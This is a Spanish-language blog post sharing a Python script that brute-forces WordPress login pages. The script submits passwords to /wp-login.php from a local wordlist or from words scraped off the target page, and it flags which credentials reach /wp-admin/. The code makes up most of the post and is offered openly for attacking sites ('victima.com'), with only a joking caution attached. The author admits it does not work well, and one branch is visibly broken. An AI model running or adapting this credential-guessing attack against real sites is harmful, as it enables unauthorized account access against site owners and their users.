Como ayer os [prometí], hoy me he estado gran parte de esta mañana intentando mejorar el Simple Brute Force para WordPress. Que aunque ponga WordPress en el titulo de la entrada es extrapolable a otras paginas con sistemas de login parecidos. Esto es una aproximación que he hecho con el tiempo que he podido por lo que, no funciona bien pero es un avance y me sirve para explicaros lo que en realidad quiero hacer con este script.
Si os fijáis en el código de abajo, le he agregado una segunda opción y lo he arreglado un poco para que sea mas claro y no estorbe el código. En una de ellas he respetado el codigo original cambiando solo una variable mientras que en la otra he usado la magia de "split()" para separar strings, guardarlos en una lista para usarlos luego como passwords para el ataque.
import mechanize
import urllib
def ataque(passwords):
usuario = raw_input("Usuario: ")
for password in passwords:
r = br.open(url2)
br.select_form(nr=0)
br.form["log"] = usuario
br.form["pwd"] = password
br.submit()
respuesta = br.response().geturl()
if respuesta == url + "/wp-admin/":
print usuario + " : " + password + "--> Si"
else:
print usuario + " : " + password + "--> No"
br = mechanize.Browser()
url = raw_input("URL http://victima.com: ")
url2 = url + "/wp-login.php"
d1 = raw_input("[a= usar tu propio dicionario] [b= hacer uno con strings de la pagina]: ")
if d1 == "a":
archivo = open('lista.txt', 'r')
diccionario = archivo.readlines()
ataque(diccionario)
elif d1 == "b":
busqueda = urllib.urlopen(url).read()
datos= busqueda.split()
d3 = str(datos)
diccionario2 = open('Strings.txt', 'a+')
diccionario2.writelines(d3)
ataque(diccionario2)
else:
print "solo entiende a o b ..."
Espero que os guste y iremos mejorando este script a medida que pase el tiempo hasta que podamos limar estos slipts hasta convertirlos solamente en palabras para usarlos como contraseña. Ya que Wordpress no limita un ataque de fuerza bruta.
Sed Buenos con esto ;)
No hay comentarios:
Publicar un comentario